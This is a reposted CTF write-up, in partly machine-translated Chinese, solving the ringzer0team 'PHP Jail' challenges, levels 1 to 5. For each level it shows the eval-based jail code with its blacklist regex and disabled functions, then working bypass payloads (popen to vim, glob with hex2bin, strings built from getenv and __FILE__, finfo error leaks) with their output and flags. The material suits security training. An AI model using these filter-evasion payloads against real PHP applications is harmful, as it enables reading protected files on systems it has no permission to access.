年
新
A-A+

ringzer0team CTF – Jail Escaping PHP

2017年09月16日 11:10 汪洋大海 暂无评论 共6648字 (阅读4,524 views次)

Here are my solutions for the ringzer0 Jail Escaping PHP challenges.
https://ringzer0team.com/ 非常不错的在线CTF闯关网站(在你答完题后，会看到别人的答案，注意需要你答题完毕才可以看到别人的答案，不过这个网站的题网上基本都已经公开通关方法了。)。能学到不少技术，博主推荐，下面文章为转载。本人不想重申太多遍，本博客【汪洋大海】栏目里的所有文章均为转载，本博主会尽力标注“源地址”如果实在找不到也没办法。

Level 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

RingZer0团队在线CTF
 
PHP Jail Level 1：
当前用户是uid = 1000（level1）gid = 1000（level1）groups = 1000（level1）
 
标志位于/home/level1/flag.txt
 
挑战PHP代码：
-----------------------------
 
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);
 
if($var == null) die("PHP Jail need an argument\n");
 
function filter($var) {
        if(preg_match('/(`|open|exec|pass|system|\$|\/)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>
 
-----------------------------
Your input:

答案：

1
2
3

Your input:
echo(file_get_contents('flag.txt'));
FLAG-sW66QEY4y6724723c7w1i0oMt179E75y

Level 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

PHP Jail Level 2 
当前用户是uid = 1001（level2）gid = 1001（level2）groups = 1001（level2）
 
国旗位于/home/level2/flag.txt
 
挑战PHP代码：
-----------------------------
 
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);
 
if($var == null) die("PHP Jail need an argument\n");
 
function filter($var) {
        if(preg_match('/(\/|a|c|s|require|include|flag|eval|file)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>
 
-----------------------------
Your input:

由于一些功能（如fread，file_get_contents是不允许的），我们可以使用popen，以读取flag.txt启动外部命令：

1

popen("vim", "w");

这vim是开始的，我们可以flag.txt通过将其加载到缓冲区中来读取：

1

:r flag.txt

Flag: FLAG-YlxV8cCg84zvUtt595dla5un9EW57BCL

Level 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

RingZer0团队在线CTF
 
PHP Jail Level 3：
当前用户是uid = 1002 （ level3 ） gid = 1002 （ level3 ） groups = 1002 （ level3 ）
 
标记位于/home/level3/flag.txt
 
挑战PHP代码：
-----------------------------
 
警告：PHP解释器是使用php -c php.ini jail.php启动的。
php.ini文件包含“disable_functions = exec，passthru，shell_exec，system，proc_open，popen，curl_exec，curl_multi_exec，parse_ini_file，readfile，require，require_once，include，include_once，
 
-----------------------------
 
WARNING: the PHP interpreter is launched using php -c php.ini jail.php.
The php.ini file contain "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once,file"
 
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);
 
if($var == null) die("PHP Jail need an argument\n");
 
function filter($var) {
        if(preg_match('/(`|\.|\$|\/|a|c|s|require|include)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>
 
-----------------------------

由于禁用了大量功能，因此必须找到允许的功能，不包含任何受限制的字符。highlight_file是这些功能之一：

1
2
3
4
5

Your input:
highlight_file(glob("fl*txt")[0]);
<code><span style="color: #000000">
FLAG-D6jg9230H05II3ri5QB7L9166gG73l8H<br /></span>
</code>Command executed

Level 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

RingZer0团队在线CTF
 
PHP Jail Level 4：
当前用户是uid = 1003 （ level4 ） gid = 1003 （ level4 ） groups = 1003 （ level4 ）
 
国旗位于/home/level4/flag.txt
 
挑战PHP代码：
-----------------------------
 
警告：PHP解释器是使用php -c php.ini jail.php启动的。
php.ini文件包含“disable_functions = exec，passthru，shell_exec，system，proc_open，popen，curl_exec，curl_multi_exec，parse_ini_file，readfile，require，require_once，include，include_once，
 
 
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);
 
if($var == null) die("PHP Jail need an argument\n");
 
function filter($var) {
        if(preg_match('/(\'|\"|`|\.|\$|\/|a|c|s|require|include)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>
 
-----------------------------
Your input:

正如你可以看到highlight_source是没有禁用，所以你可以使用某物像：

1

highlight_source("flag.txt");

然而，双引号和字符“a”和“。” 不允许。下一个想法是使用glob：

1

highlight_source(glob("*")[4]);

但再次：双引号和“*”字符是不允许的。由于我的解决方案很复杂，我会尝试解释一下我的想法：

a）我需要“/”字符（也不允许）b）我需要“a”字符c）我需要一种方式来定义一个字符串而不使用双引号d）我想以某种方式构建字符串“/ home /level4/flag.txt“与允许的字符并使用它 glob

现在解决每一个特定问题：

a）使用phpinfo();我发现有一些环境变量可以用来提取“/”。然后我跑了

1
2
3

print_r(getenv(HOME));
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
/home/level4Command executed

然后我可以通过使用来提取“/”

1

getenv(HOME)[0];

B）PHP有一些预定义的常量一样__FILE__，__DIR__等等：

1
2

print_r(__FILE__);
/home/level4/jail.php(14) : eval()'d codeCommand executed

使用__FILE__我可以提取“a”和“。”。
c）利用define()，implode()/ explode()一个可以定义contants字符串和应用阵列操作，以提取/ CONCAT字符：

1
2
3
4
5
6
7
8
9
10

define(HEY,__FILE__);print_r(explode(getenv(HOME)[0],HEY));
PHP Notice:  Use of undefined constant HEY - assumed 'HEY' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
Array
(
    [0] => 
    [1] => home
    [2] => level4
    [3] => jail.php(14) : eval()'d code
)

通过使用，implode()您可以连接几个字符：

1
2
3
4
5
6
7

print_r(implode(getenv(HOME)[0],[getenv(HOME)[0],home,level4,file]));
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant home - assumed 'home' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant level4 - assumed 'level4' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant file - assumed 'file' in /home/level4/jail.php(14) : eval()'d code on line 1
//home/level4/fileCommand executed

d）现在如果你把a），b）和c）放在一起，你应该可以建立你的有效载荷：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

define(HEY, __FILE__); highlight_file(implode(getenv(HOME)[0],[getenv(HOME)[0],home,level4,getenv(HOME)[0],implode(explode(getenv(HOME)[0],HEY)[0], [fl,explode(getenv(HOME)[0],HEY)[3][1],g,explode(getenv(HOME)[0],HEY)[3][4],t,x,t])])); 
PHP Notice:  Use of undefined constant HEY - assumed 'HEY' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant home - assumed 'home' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant level4 - assumed 'level4' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant fl - assumed 'fl' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant g - assumed 'g' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant t - assumed 't' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant x - assumed 'x' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant t - assumed 't' in /home/level4/jail.php(14) : eval()'d code on line 1
<code><span style="color: #000000">
FLAG-X9uF51b0X570f616897kLN3It3K6m63c<br /></span>
</code>Command executed

我知道...非常复杂（我已经看到解决方案使用hex2bin()），但它的工作:)

Level 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

RingZer0团队在线CTF
 
PHP Jail Level 5：
当前用户是uid = 1004（level5）gid = 1004（level5）groups = 1004（level5）
 
国旗位于/home/level5/flag.txt
 
挑战PHP代码：
-----------------------------
 
警告：PHP解释器是使用php -c php.ini jail.php启动的。php.ini文件包含“disable_functions = exec，passthru，shell_exec，system，proc_open，popen，curl_exec，curl_multi_exec，parse_ini_file，readfile，require，require_once，include，include_once，
 
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);
 
if($var == null) die("PHP Jail need an argument\n");
 
function filter($var) {
        if(preg_match('/(\_|\'|\"|`|\.|\$|\/|a|c|s|z|require|include)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>
 
-----------------------------
Your input:

我做的第一件事是生成filename（flag.txt）：

1
2
3
4

Your input:
print(glob(hex2bin(hex2bin(3261)))[0]);
flag.txtCommand executed
Your input:

然后我需要一些功能来读取内容flag.txt。然而，由于额外的字符限制，我无法找到任何绕过限制的人。然后我买了提示：

1

md5 can return raw characters such as *, Some classes can help you error messages too

所以我需要一些类与一些构造函数，它以文件名作为参数。一如既往：Google是您的朋友 - > inurl:php.net/manual/en/class。然后我找到了Finfo：

1
2
3
4
5
6

Your input:
new Finfo(0,glob(hex2bin(hex2bin(3261)))[0]);
PHP Notice:  finfo::finfo(): Warning: offset `FLAG-81M2544kLM9nxBJCfMG2ET8329Lo1qqZ' invalid in /home/level5/jail.php(14) : eval()'d code on line 1
PHP Notice:  finfo::finfo(): Warning: type `FLAG-81M2544kLM9nxBJCfMG2ET8329Lo1qqZ' invalid in /home/level5/jail.php(14) : eval()'d code on line 1
PHP Warning:  finfo::finfo(): Failed to load magic database at '/home/level5/flag.txt'. in /home/level5/jail.php(14) : eval()'d code on line 1
Command executed

文章来源：http://blog.dornea.nu/2016/06/20/ringzer0-ctf-jail-escaping-php/

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言